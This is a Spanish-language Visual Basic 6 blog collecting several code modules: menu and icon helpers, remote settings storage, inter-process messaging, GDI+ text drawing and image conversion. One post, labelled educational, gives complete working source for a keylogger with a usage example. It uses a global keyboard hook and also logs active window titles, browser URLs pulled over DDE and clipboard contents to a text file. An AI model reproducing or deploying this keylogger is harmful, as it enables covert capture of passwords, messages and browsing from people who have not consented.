Jul 212010
 

Módulo clase que permite visualizar un menú con los archivos alojados en nuestra PC, su función principal es la de explorar y recuperar la ruta de un archivo, tal como lo hacen los cuadros de diálogo (CommonDialog). Tiene opciones tales como poder filtrar el o los tipos de archivos requeridos, mostrar o no archivos ocultos, establecer algunas carpetas especiales por defecto en el menú principal, posee un Tooltips con algunos datos del archivo y reconoce los accesos directos.
Utiliza la ClsMenuImage para poder insertar íconos en el menú.
La primera vez que llamemos al menú si es una carpeta con muchos archivos puede ser un poco lento al cargar los items, pero una vez que su cache se haya creado es más rápido.
He tenido que deshabilitar algunas funciones que recuperaban palabras del sistema, lo cual hacía que si se ejecutaba en una PC que su sistema operativo no era en castellano las mostraba en su idioma correcto, este supresión se debe a que algunos antivirus detectaban una o varias Apis como una amenaza (Avira Antivirus).

Menú explorer con XP

Menú explorer con Windows 7

Jul 182010
 

Este es un módulo clase que sirve para insertar imágenes en el menú, a diferencia del control de usuario HookMenu, este sólo requiere un simple módulo, quizás no cuente con una interfaz sencilla para insertar las imágenes ya que con este módulo tendremos que hacerlo mediante código.
Lo que intenté preservar es que el ícono no modifique el estilo visual de Windows, es decir, el menú no tendrá el aspecto de Office o Ribbon.
También cuenta con la posibilidad de agregarle imágenes a la barra de menú y a los menúes creados mediante Apis (CreatePopupMenu).
La clase soporta imágenes .png, .ico y todos los formatos estándar de imágenes. Este módulo sólo funcionará en Windows XP y posteriores, ya que las versiones anteriores no cuentan con GDI Plus.
En Windows XP el módulo necesita subclasificar la ventana que contiene o llama al menú, pero en Windows Vista y Windows 7 esto no es necesario ya que corrigieron el error que tenían los menúes con bitmaps.

Menú con imágenes XP

Barra de menú con imágenes XP

Nótese que en Windows Vista y Windows 7 se mantienen los estilos visuales de Windows.

Menú con imágenes Seven
Barra de menú con imágenes Seven

Abr 132010
 

Módulo bas para poder guardar y recuperar información en un servidor web, similar a las funciones SaveSetting o GetSetting de Visual Basic pero de forma remota, la pregunta del millón es para que zapallo sirve esto?, principalmente es parte de mi aburrimiento, pero puede ser muy útil para ciertas ocasiones, como por ejemplo almacenar la ultima versión disponible de nuestra aplicación, la Url de descarga, licencia del programa, también para  almacenar alguna IP supongamos que un servidor tiene una IP cambiante este podría guardar esa IP para que pueda  recogerla el cliente, y muchas cosas más es cuestión de usar la imaginación, esta configurado para almacenar un máximo de quinientos caracteres por cada clave.
Como seguridad tiene un parámetro para que ustedes puedan asignar un Password personal, los datos no son encriptados. si ustedes piensan que esto debería hacerse lo comunican, tenia pensado utilizar encriptación base64. uno de los problemas de no encriptarlos, es que el servidor que estoy usando limita alguna palabras como por ejemplo «Msn Messenger», pero bien en el ejemplo puse los script de PHP y la estructura de la tabla, así que pueden subirlos al servidor que ustedes quieran, el que use en el ejemplo lo voy a dejar siempre y cuando ningún vivo trate de sobrecargar la base de datos. es una utilidad para que la usemos todos, no la caguen.

 Posted by at 21:47  Tagged with:
Abr 132010
 

Módulo Clase crear una conversación entre ejecutables, esto significa que podemos pasar datos de un ejecutable a otro, por ejemplo, si nuestra aplicación se esta ejecutando y alguien la vuelve a ejecutar pasándole un comando, podemos enviar este comando la primera aplicación, por ejemplo como lo hace Windows Media Player, vale aclarar que esto sirve para utilizar dentro del mismo PC no en una red LAN o internet, no confundir con sockets.
También se puede usar para ejecutar dos tareas independiente, y que una aplicación le pase a la otra, la información que proceso.
Ablando técnicamente de la clase no utiliza las Apis de DDE si no un truco enviando el msj WM_COPYDATA a una ventana que crea la clase. Este proyecto lo hice en base a una clase que había realizado Cobein usando una técnica parecida.

 Posted by at 21:12  Tagged with:
Feb 132010
 

Este es un módulo .bas de un Keylogger, sirve para capturar las pulsaciones del teclado y almacenarlas en un fichero de texto plano, trae como adicional poder almacenar el título de la ventana activa, la URL en caso de que dicha ventana sea un navegador y el texto del portapapeles. Está hecho con fines educativos, los métodos empleados son Hook al teclado, Hook de la ventana activa, conversación DDE para las URL y Hook del portapapeles. Vale destacar que no utiliza ningún tipo de timer para cualquiera de estas operaciones, lo cual hace que sea más eficiente y consuma menos procesador.

Módulo:

Option Explicit
'------------------------------------
'Autor:   Leandro Ascierto
'Web:     www.leandroascierto.com
'Fecha:   13-02-2010
'save input Keys, Active Widows, Url from Navigators and clipboard
'------------------------------------
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Declare Function RegisterShellHook Lib "Shell32" Alias "#181" (ByVal hwnd As Long, ByVal nAction As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32.dll" (ByVal wFormat As Long) As Long
Private Declare Function SetClipboardViewer Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByRef pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long
Private Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Private Const XCLASS_DATA               As Long = &H2000
Private Const XTYP_REQUEST              As Long = (&HB0 Or XCLASS_DATA)

Private Const CP_WINANSI                As Long = 1004
Private Const CF_TEXT                   As Long = 1

Private Const WM_SETTEXT                As Long = &HC
Private Const WM_GETTEXTLENGTH          As Long = &HE
Private Const WM_GETTEXT                As Long = &HD

Private Const RSH_REGISTER_TASKMAN      As Long = 3
Private Const HSHELL_WINDOWACTIVATED    As Long = 4
Private Const WH_KEYBOARD_LL            As Long = 13
Private Const SHELLHOOKMESSAGE          As String = "SHELLHOOK"
Private Const GWL_WNDPROC               As Long = -4

Private Const ES_MULTILINE              As Long = &H4&
Private Const ES_AUTOVSCROLL            As Long = &H40&
Private Const ES_AUTOHSCROLL            As Long = &H80&

Private Const WM_IME_KEYDOWN            As Long = &H290
Private Const WM_SYSKEYDOWN             As Long = &H104
Private Const WM_KEYDOWN                As Long = &H100
Private Const WM_KEYUP                  As Long = &H101
Private Const WM_DRAWCLIPBOARD          As Long = &H308

Private WM_SHELLHOOK                    As Long
Private hEdit                           As Long
Private hHook                           As Long
Private WinProc                         As Long
Private hFile                           As Integer
Private LastActiveWindow                As Long

Public Function StarKeyLogger(ByVal DestPath As String) As Boolean

    If hEdit Then Exit Function

    hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)

    If hEdit <> 0 Then
        hFile = FreeFile
        Open DestPath For Append As #hFile
        hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
        WM_SHELLHOOK = RegisterWindowMessage(SHELLHOOKMESSAGE)
        RegisterShellHook hEdit, RSH_REGISTER_TASKMAN
        SetClipboardViewer hEdit
        WinProc = SetWindowLong(hEdit, GWL_WNDPROC, AddressOf WndProc)
        StarKeyLogger = True
    End If

End Function

Public Function EndKeyLogger() As Boolean
    If hEdit <> 0 Then
        Call UnhookWindowsHookEx(hHook)
        Call SetWindowLong(hEdit, GWL_WNDPROC, WinProc)
        If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit)
        DestroyWindow hEdit: hEdit = 0
        Close #hFile
        EndKeyLogger = True
    End If
End Function

Private Function WndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    On Error Resume Next

    Dim sRet As String

    WndProc = CallWindowProc(WinProc, hwnd, uMsg, wParam, lParam)

    Select Case uMsg
        Case WM_SHELLHOOK

            If wParam = HSHELL_WINDOWACTIVATED Then
                If lParam <> 0 And LastActiveWindow <> lParam Then
                    LastActiveWindow = lParam

                    If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd)

                    Select Case ClassNameOf(lParam)
                        Case "MozillaUIWindowClass", "MozillaWindowClass"
                            sRet = GetBrowserInfo("firefox")
                        Case "IEFrame"
                            sRet = GetBrowserInfo("iexplore")
                        Case "OpWindow"
                            sRet = GetBrowserInfo("opera")
                    End Select

                    If sRet <> "" Then
                        SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & sRet & vbCrLf & String(100, "-") & vbCrLf
                    Else
                        SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & String(100, "-") & vbCrLf
                    End If

                End If

            End If

        Case WM_DRAWCLIPBOARD
            If IsClipboardFormatAvailable(vbCFText) <> 0 Then
                If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd)
                SaveLog "[" & Now & "] Portapaples: " & vbCrLf & String(100, "-") & vbCrLf _
                    & Clipboard.GetText & vbCrLf & String(100, "-") & vbCrLf
            End If
    End Select

End Function

Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
    On Error Resume Next

    Select Case wParam

        Case WM_KEYDOWN
            If lParam <> 222 And lParam <> 186 And lParam <> 162 And lParam <> 20 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If

        Case WM_SYSKEYDOWN
            If lParam = 162 Or lParam = 165 Or lParam = 50 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If

    End Select

End Function

Private Function GetBrowserInfo(ByVal sServer As String) As String

    Dim lpData  As Long, hData   As Long, sData  As String
    Dim hServer As Long, hTopic  As Long, hItem  As Long
    Dim hConv   As Long, idInst  As Long

    Const sTopic = "WWW_GetWindowInfo"
    Const sItem = "0xFFFFFFFF"

    If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function

    hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
    hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI)
    hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI)

    hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)

    If hConv Then
        hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
        lpData = DdeAccessData(hData, 0)
        GetBrowserInfo = PtrToString(lpData)

        DdeUnaccessData hData
        DdeFreeDataHandle hData
        DdeDisconnect hConv
    End If

    DdeFreeStringHandle idInst, hServer
    DdeFreeStringHandle idInst, hTopic
    DdeFreeStringHandle idInst, hItem
    DdeUninitialize idInst

End Function

Private Function GetWindowTextLength(ByVal hwnd As Long) As Long
    GetWindowTextLength = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
End Function

Private Function GetWindowText(ByVal hwnd As Long) As String
    Dim TextLen As Long
    TextLen = SendMessage(hwnd, WM_GETTEXTLENGTH, 0&, 0&)
    GetWindowText = String(TextLen, Chr$(0))
    SendMessage hwnd, WM_GETTEXT, TextLen + 1, GetWindowText
End Function

Private Sub SaveLog(ByVal sText As String)
    Print #hFile, sText
    SendMessage hEdit, WM_SETTEXT, 0&, vbNullString
End Sub

 Private Function ClassNameOf(ByVal hwnd As Long) As String
    Dim sClassName As String, Ret As Long
    sClassName = Space(256)
    Ret = GetClassName(hwnd, sClassName, 256)
    If Ret Then ClassNameOf = Left$(sClassName, Ret)
 End Function

 Private Function PtrToString(lpwString As Long) As String
   Dim Buffer() As Byte
   Dim nLen As Long
   If lpwString Then
      nLen = lstrlenW(lpwString) * 2
      If nLen Then
         ReDim Buffer(0 To (nLen - 1)) As Byte
         CopyMemory Buffer(0), ByVal lpwString, nLen
         PtrToString = StrConv(Buffer, vbUnicode)
      End If
   End If
End Function

Ejemplo de Uso:

Option Explicit

Private Sub Form_Load()
    'Inicializamos el KeyLogger
    StarKeyLogger (App.Path & "\Log.txt")
End Sub

Private Sub Form_Unload(Cancel As Integer)
    'Detenemos el KeyLogger
    Call EndKeyLogger
End Sub

Dic 072009
 

Modulo Clase para dibujar texto utilizando GDI+ tiene funciones básicas como poder asignar la fuente, color, alineación, alineación vertical, Flags del formato, Trimming, Opacity. Para los que ya utilizaron alguna vez el api DrawText de «User32» no les resultara muy difícil de implementar.

Option Explicit
'--------------------------------------------
'Autor: Leandro Ascierto
'Web:   www.leandroascierto.com.ar
'Date:  27/12/2009
'--------------------------------------------
Private Declare Function GdipCreateFont Lib "gdiplus" (ByVal fontFamily As Long, ByVal emSize As Single, ByVal Style As GDIPLUS_FONTSTYLE, ByVal UNIT As Long, createdfont As Long) As Long
Private Declare Function GdipCreateFontFamilyFromName Lib "gdiplus" (ByVal name As String, ByVal fontCollection As Long, fontFamily As Long) As Long
Private Declare Function GdipCreateSolidFill Lib "gdiplus" (ByVal argb As Long, brush As Long) As Long
Private Declare Function GdipCreateStringFormat Lib "gdiplus" (ByVal formatAttributes As Long, ByVal language As Integer, StringFormat As Long) As Long
Private Declare Function GdipDeleteBrush Lib "gdiplus" (ByVal brush As Long) As Long
Private Declare Function GdipDeleteFont Lib "gdiplus" (ByVal curFont As Long) As Long
Private Declare Function GdipDeleteFontFamily Lib "gdiplus" (ByVal fontFamily As Long) As Long
Private Declare Function GdipDeleteStringFormat Lib "gdiplus" (ByVal StringFormat As Long) As Long
Private Declare Function GdipDrawString Lib "gdiplus" (ByVal graphics As Long, ByVal str As String, ByVal Length As Long, ByVal thefont As Long, layoutRect As RECTF, ByVal StringFormat As Long, ByVal brush As Long) As Long
Private Declare Function GdipSetStringFormatAlign Lib "gdiplus" (ByVal StringFormat As Long, ByVal Align As StringAlignment) As Long
Private Declare Function GdipSetStringFormatLineAlign Lib "gdiplus" (ByVal StringFormat As Long, ByVal Align As StringAlignment) As Long
Private Declare Function GdipSetStringFormatFlags Lib "GdiPlus.dll" (ByVal mFormat As Long, ByVal mFlags As StringFormatFlags) As Long
Private Declare Function GdipSetStringFormatTrimming Lib "GdiPlus.dll" (ByVal mFormat As Long, ByVal mTrimming As StringTrimming) As Long
Private Declare Function GdiplusStartup Lib "gdiplus" (Token As Long, inputbuf As GdiplusStartupInput, Optional ByVal outputbuf As Long = 0) As Long
Private Declare Function GdipCreateFromHDC Lib "gdiplus" (ByVal Hdc As Long, hGraphics As Long) As Long
Private Declare Function GdipDeleteGraphics Lib "gdiplus" (ByVal hGraphics As Long) As Long
Private Declare Sub GdiplusShutdown Lib "gdiplus" (ByVal Token As Long)
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetDeviceCaps Lib "gdi32" (ByVal Hdc As Long, ByVal nIndex As Long) As Long
Private Declare Function MulDiv Lib "kernel32.dll" (ByVal nNumber As Long, ByVal nNumerator As Long, ByVal nDenominator As Long) As Long
 
Private Type GdiplusStartupInput
    GdiplusVersion           As Long
    DebugEventCallback       As Long
    SuppressBackgroundThread As Long
    SuppressExternalCodecs   As Long
End Type
 
Private Type RECTF
    Left    As Single
    Top     As Single
    Width   As Single
    Height  As Single
End Type
 
Public Enum GDIPLUS_FONTSTYLE
    FontStyleRegular = 0
    FontStyleBold = 1
    FontStyleItalic = 2
    FontStyleBoldItalic = 3
    FontStyleUnderline = 4
    FontStyleStrikeout = 8
End Enum
 
Public Enum StringAlignment
    StringAlignmentNear = &H0
    StringAlignmentCenter = &H1
    StringAlignmentFar = &H2
End Enum
 
Public Enum StringTrimming
    StringTrimmingNone = &H0
    StringTrimmingCharacter = &H1
    StringTrimmingWord = &H2
    StringTrimmingEllipsisCharacter = &H3
    StringTrimmingEllipsisWord = &H4
    StringTrimmingEllipsisPath = &H5
End Enum
 
Public Enum StringFormatFlags
    StringFormatFlagsNone = &H0
    StringFormatFlagsDirectionRightToLeft = &H1
    StringFormatFlagsDirectionVertical = &H2
    StringFormatFlagsNoFitBlackBox = &H4
    StringFormatFlagsDisplayFormatControl = &H20
    StringFormatFlagsNoFontFallback = &H400
    StringFormatFlagsMeasureTrailingSpaces = &H800
    StringFormatFlagsNoWrap = &H1000
    StringFormatFlagsLineLimit = &H2000
    StringFormatFlagsNoClip = &H4000
End Enum
 
Private Const LOGPIXELSY         As Long = 90
 
Private m_Font                  As StdFont
Private m_Color                 As OLE_COLOR
Private m_Alignment             As StringAlignment
Private m_VerticalAlignment     As StringAlignment
Private m_FormatFlags           As StringFormatFlags
Private m_Trimming              As StringTrimming
Private m_Opacity               As Long
 
Private Sub Class_Initialize()
    Set m_Font = New StdFont
    m_Font.name = "Tahoma"
    m_Color = vbWindowText
    m_Opacity = 100
End Sub
 
Private Sub Class_Terminate()
    Set m_Font = Nothing
End Sub
 
Public Property Get Font() As StdFont
    Set Font = m_Font
End Property
 
Public Property Let Font(ByVal NewFont As StdFont)
    Set m_Font = NewFont
End Property
 
Public Property Get Color() As OLE_COLOR
    Color = m_Color
End Property
 
Public Property Let Color(ByVal NewColor As OLE_COLOR)
    m_Color = NewColor
End Property
 
Public Property Get Alignment() As StringAlignment
    Alignment = m_Alignment
End Property
 
Public Property Let Alignment(ByVal NewAlignment As StringAlignment)
    m_Alignment = NewAlignment
End Property
 
Public Property Get VerticalAlignment() As StringAlignment
    VerticalAlignment = m_VerticalAlignment
End Property
 
Public Property Let VerticalAlignment(ByVal NewVerticalAlignment As StringAlignment)
    m_VerticalAlignment = NewVerticalAlignment
End Property
 
Public Property Get FormatFlags() As StringFormatFlags
    FormatFlags = m_FormatFlags
End Property
 
Public Property Let FormatFlags(ByVal NewFormatFlags As StringFormatFlags)
    m_FormatFlags = NewFormatFlags
End Property
 
Public Property Get Trimming() As StringTrimming
    Trimming = m_Trimming
End Property
 
Public Property Let Trimming(ByVal NewTrimming As StringTrimming)
    m_Trimming = NewTrimming
End Property
 
Public Property Get Opacity() As Long
    Opacity = m_Opacity
End Property
 
Public Property Let Opacity(ByVal NewOpacity As Long) 
    m_Opacity = NewOpacity 
    If m_Opacity < 0 Then
        Opacity = 0
    ElseIf m_Opacity > 100 Then
        m_Opacity = 100
    End If 
End Property
  
Public Function DrawString(ByVal Hdc As Long, _
                        ByVal Text As String, _
                        ByVal X As Single, _
                        ByVal Y As Single, _
                        Optional ByVal Width As Single, _
                        Optional ByVal Height As Single) As Boolean
 
    On Error Resume Next
 
    Dim hGraphic As Long
    Dim lBrush As Long
    Dim lFontFamily As Long
    Dim lCurrentFont As Long
    Dim lFontSize As Long
    Dim lFontStyle As GDIPLUS_FONTSTYLE
    Dim lFormat As Long
    Dim RctText As RECTF
    Dim GdiToken As Long
    Dim GDIsi As GdiplusStartupInput
 
    GDIsi.GdiplusVersion = 1&
 
    If GdiplusStartup(GdiToken, GDIsi) = 0 Then 
        Call GdipCreateFromHDC(Hdc, hGraphic) 
        GdipCreateSolidFill ConvertColor(m_Color, m_Opacity), lBrush 
        GdipCreateFontFamilyFromName StrConv(m_Font.name, vbUnicode), 0, lFontFamily
 
        If m_Font.Bold Then lFontStyle = lFontStyle Or FontStyleBold
        If m_Font.Italic Then lFontStyle = lFontStyle Or FontStyleItalic
        If m_Font.Strikethrough Then lFontStyle = lFontStyle Or FontStyleStrikeout
        If m_Font.Underline Then lFontStyle = lFontStyle Or FontStyleUnderline
 
        lFontSize = MulDiv(m_Font.Size, GetDeviceCaps(Hdc, LOGPIXELSY), 72) 
        GdipCreateFont lFontFamily, lFontSize, lFontStyle, 0, lCurrentFont
 
        If GdipCreateStringFormat(0, 0, lFormat) = 0 Then
            If m_FormatFlags Then GdipSetStringFormatFlags lFormat, m_FormatFlags
            If m_Alignment Then GdipSetStringFormatAlign lFormat, m_Alignment
            If m_Trimming Then GdipSetStringFormatTrimming lFormat, m_Trimming
            If m_VerticalAlignment Then GdipSetStringFormatLineAlign lFormat, m_VerticalAlignment
        End If
 
        With RctText
            .Left = X
            .Top = Y
            .Width = Width
            .Height = Height
        End With
 
        DrawString = GdipDrawString(hGraphic, StrConv(Text, vbUnicode), -1, lCurrentFont, RctText, lFormat, lBrush) = 0
 
        GdipDeleteStringFormat lFormat
        GdipDeleteFont lCurrentFont
        GdipDeleteFontFamily lFontFamily
        GdipDeleteBrush lBrush
        GdipDeleteGraphics hGraphic
        GdiplusShutdown GdiToken
    End If
End Function
  
Private Function ConvertColor(Color As Long, Opacity As Long) As Long
    Dim BGRA(0 To 3) As Byte
 
    BGRA(3) = CByte((Abs(Opacity) / 100) * 255)
    BGRA(0) = ((Color \ &H10000) And &HFF)
    BGRA(1) = ((Color \ &H100) And &HFF)
    BGRA(2) = (Color And &HFF)
    CopyMemory ConvertColor, BGRA(0), 4&
End Function

Nov 032009
 

Este es un pequeño módulo para convertir archivos de imágenes de un formato a otro. Es muy sencillo de usar, sólo basta con llamar a la función ConvertFileImage, donde pasamos como primer parámetro el Path de la imágen de origen y como segundo parámetro el Path de destino más el nombre y extensión. El tercer parámetro es opcional y es un valor de 0 a 100 en los caso que la extensión de destino sea .JPG, para elegir la calidad de conversión.
También cuenta con una función llamada IsGdiPlusInstaled que es para averiguar si el PC que ejecute el programa tiene instalado GDI Plus.
No tiene muchas opciones ya que el módulo intenta ser algo pequeño para pocas pretensiones.
Las extensiones de de lectura soportadas son: «BMP, DIB, JPG, JPEG, JPE, JFIF, GIF, PNG, TIF, TIFF, EMF, WMF, ICO, CUR».
y las extensiones de conversión soportadas son: «BMP, DIB, JPG, JPEG, JPE, JFIF, GIF, PNG, TIF, TIFF».

* Edit 06/02/2010, corrección en el código, me confundí en poner PGN, por PGN.

Option Explicit
'--------------------------------------------
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
'Date: 01/11/2009
'--------------------------------------------
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GdiplusStartup Lib "gdiplus" (Token As Long, inputbuf As GdiplusStartupInput, Optional ByVal outputbuf As Long = 0) As Long
Private Declare Function GdipLoadImageFromFile Lib "GdiPlus.dll" (ByVal mFilename As Long, ByRef mImage As Long) As Long
Private Declare Function GdipDisposeImage Lib "gdiplus" (ByVal image As Long) As Long
Private Declare Sub GdiplusShutdown Lib "gdiplus" (ByVal Token As Long)
Private Declare Function GdipSaveImageToFile Lib "gdiplus" (ByVal image As Long, ByVal FileName As Long, ByRef clsidEncoder As GUID, ByRef encoderParams As Any) As Long
Private Declare Function CLSIDFromString Lib "ole32" (ByVal str As Long, id As GUID) As Long
 
Private Type GUID
    Data1           As Long
    Data2           As Integer
    Data3           As Integer
    Data4(0 To 7)   As Byte
End Type
 
Private Type EncoderParameter
    GUID            As GUID
    NumberOfValues  As Long
    type            As Long
    Value           As Long
End Type
 
Private Type EncoderParameters
    Count           As Long
    Parameter(15)   As EncoderParameter
End Type
 
Private Type GdiplusStartupInput
    GdiplusVersion           As Long
    DebugEventCallback       As Long
    SuppressBackgroundThread As Long
    SuppressExternalCodecs   As Long
End Type 
 
Const ImageCodecBMP = "{557CF400-1A04-11D3-9A73-0000F81EF32E}"
Const ImageCodecJPG = "{557CF401-1A04-11D3-9A73-0000F81EF32E}"
Const ImageCodecGIF = "{557CF402-1A04-11D3-9A73-0000F81EF32E}"
Const ImageCodecTIF = "{557CF405-1A04-11D3-9A73-0000F81EF32E}"
Const ImageCodecPNG = "{557CF406-1A04-11D3-9A73-0000F81EF32E}"
 
Const EncoderQuality = "{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"
Const EncoderCompression = "{E09D739D-CCD4-44EE-8EBA-3FBF8BE4FC58}"
 
Const TiffCompressionNone = 6
Const EncoderParameterValueTypeLong = 4
 
Public Function ConvertFileImage(ByVal SrcPath As String, ByVal DestPath As String, Optional ByVal JPG_Quality As Long = 85) As Boolean
 
    On Error Resume Next
    Dim GDIsi As GdiplusStartupInput, gToken As Long, hBitmap As Long
    Dim tEncoder  As GUID
    Dim tParams     As EncoderParameters
    Dim sExt        As String
    Dim lPos        As Long
 
    DestPath = Trim(DestPath)
 
    lPos = InStrRev(DestPath, ".")
    If lPos Then
        sExt = UCase(Right(DestPath, Len(DestPath) - lPos))
    End If
 
    Select Case sExt
        Case "PNG"
            CLSIDFromString StrPtr(ImageCodecPNG), tEncoder 
        Case "TIF", "TIFF"
            CLSIDFromString StrPtr(ImageCodecTIF), tEncoder
 
            With tParams
                .Count = 1
                .Parameter(0).NumberOfValues = 1
                .Parameter(0).type = EncoderParameterValueTypeLong
                .Parameter(0).Value = VarPtr(TiffCompressionNone)
                CLSIDFromString StrPtr(EncoderCompression), .Parameter(0).GUID
            End With
 
        Case "BMP", "DIB"
            CLSIDFromString StrPtr(ImageCodecBMP), tEncoder
 
        Case "GIF"
            CLSIDFromString StrPtr(ImageCodecGIF), tEncoder
 
        Case "JPG", "JPEG", "JPE", "JFIF" 
            If JPG_Quality > 100 Then JPG_Quality = 100
            If JPG_Quality < 0 Then JPG_Quality = 0
 
            CLSIDFromString StrPtr(ImageCodecJPG), tEncoder
 
            With tParams
                .Count = 1
                .Parameter(0).NumberOfValues = 1
                .Parameter(0).type = EncoderParameterValueTypeLong
                .Parameter(0).Value = VarPtr(JPG_Quality)
                CLSIDFromString StrPtr(EncoderQuality), .Parameter(0).GUID
            End With
 
        Case Else
            Exit Function
 
    End Select
 
    GDIsi.GdiplusVersion = 1& 
    GdiplusStartup gToken, GDIsi
 
    If gToken Then
        If GdipLoadImageFromFile(StrPtr(SrcPath), hBitmap) = 0 Then 
            If GdipSaveImageToFile(hBitmap, StrPtr(DestPath), tEncoder,ByVal  tParams) = 0 Then
                ConvertFileImage = True
            End If 
            GdipDisposeImage hBitmap 
        End If 
        GdiplusShutdown gToken
    End If
 
End Function 
 
Public Function IsGdiPlusInstaled() As Boolean
    Dim hLib As Long
 
    hLib = LoadLibrary("gdiplus.dll")
    If hLib Then
        If GetProcAddress(hLib, "GdiplusStartup") Then
            IsGdiPlusInstaled = True
        End If
        FreeLibrary hLib
    End If
 
End Function